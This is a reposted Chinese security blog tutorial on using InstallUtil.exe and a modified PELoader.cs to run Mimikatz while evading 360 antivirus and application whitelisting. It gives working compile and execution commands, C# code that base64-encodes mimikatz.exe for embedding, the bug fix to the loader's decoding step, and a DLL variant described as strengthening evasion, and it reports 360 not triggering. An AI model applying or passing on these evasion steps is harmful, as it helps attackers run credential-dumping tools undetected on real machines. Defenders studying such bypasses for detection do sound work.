转载

利用白名单绕过360实例

0x00 前言

最近 subTee 在其博客中介绍了如何利用白名单绕过防护,但细节存在 bug ,所以本文仅介绍如何修复其 bug 并利用该方法绕过 360 ,更多利用方法值得探索

博客链接:

http://subt0x10.blogspot.hk/ (需翻墙)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html (需翻墙)

0x01 测试目标

下载最新版本 Mimikatz ,实现绕过杀毒软件的查杀。

0x02 测试环境

操作系统: Win7 x64

mimikatz版本: 2.0 alpha 20150906 (oe.eo) edition (目前为止最新)

下载链接: https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

测试日期:9/14/2015

0x03 实际测试

建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

利用白名单绕过360实例

2、利用InstallUtil.exe执行程序

(1)下载 https://gist.github.com/subTee/00cdac8990584bd2c2fe 并保存为 PELoader.cs

(2)参照博客中的示例,执行如下代码:

C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /out:PELoader.exe PELoader.cs   C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe 

如图,生成 PELoader.exe ,然后通过 InstallUtil.exe 执行 PELoader.exe

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

成功加载运行 mimikatz

进程显示为 InstallUtil.exe ,如图

利用白名单绕过360实例

(3)测试生成的 PELoader.exe 查杀情况

如图,360成功检测威胁

利用白名单绕过360实例

(4)尝试修改 PELoader.cs

阅读代码发现 Line853-856 存储了 base64 加密后的mimikatz

利用白名单绕过360实例

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  *  [OR]  byte[] AsBytes = File.ReadAllBytes(@"C:/Tools/Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:/Tools/Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  * 

(5)测试 Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对 mimikatzbase64 编码并保存在Mimikatz.b64文件中

如图

利用白名单绕过360实例

执行 Powershell 代码

执行后生成 Mimikatz.b64 ,如图

利用白名单绕过360实例

打开将内容复制到 PELoader.cs 中的变量 KatzCompressed 的定义中,如图

利用白名单绕过360实例

按照步骤(2)执行测试,发现错误,如图

利用白名单绕过360实例

0x04 分析

作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案

在做了多次实验并研究代码后成功找到了错误原因:

Powershellbase64 编码同 c#base64 解码之间存在解析错误

解决步骤:

(1)使用c#对mimikatz作base64加密

代码如下:

using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace test1 {  class Program  {   static void Main(string[] args)   {    byte[] AsBytes = File.ReadAllBytes(@"C:/testcs/mimikatz.exe");    String AsBase64String = Convert.ToBase64String(AsBytes);    StreamWriter sw = new StreamWriter(@"C:/testcs/mimikatz.b64");    sw.Write(AsBase64String);    sw.Close();   }  } }  

我使用的环境是 vs2012 ,新建 c# 工程,填写以上代码,编译后运行,生成新的 mimikatz.b64 ,如图

利用白名单绕过360实例

细心的同学可以发现和之前使用 Powershell 生成的 mimikatz.b64 有所区别

(2)替换变量 KatzCompressed 的定义内容

如图

利用白名单绕过360实例

(3)修改解密过程

定位 PELoader.cs Line106,去掉

byte[] decompressed = Decompress(FromBase64); 

在前面添加“//”即可,如图

利用白名单绕过360实例

(4)再次编译并利用 InstallUtil.exe 执行

C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /out:PELoader.exe PELoader.cs C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe 

如图

利用白名单绕过360实例

证明修改成功,能够顺利执行我们修改的代码

(5)增强免杀

采用如下生成步骤:

C:/Windows/Microsoft.NET/Framework64/v4.0.30319/csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs C:/Windows/Microsoft.NET/Framework64/v4.0.30319/InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll 

如图

利用白名单绕过360实例

也可以成功加载 mimikatz

测试查杀情况

如图

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

利用白名单绕过360实例

注:测试全过程开启360,主动防御未触发

0x06 小结

通过 InstallUtil.exe 执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

参照 zone 中大家的建议,希望这篇文章是大家喜欢看到的类型:)

本文由三好学生原创并首发于乌云drops,转载请注明

正文到此结束
Loading...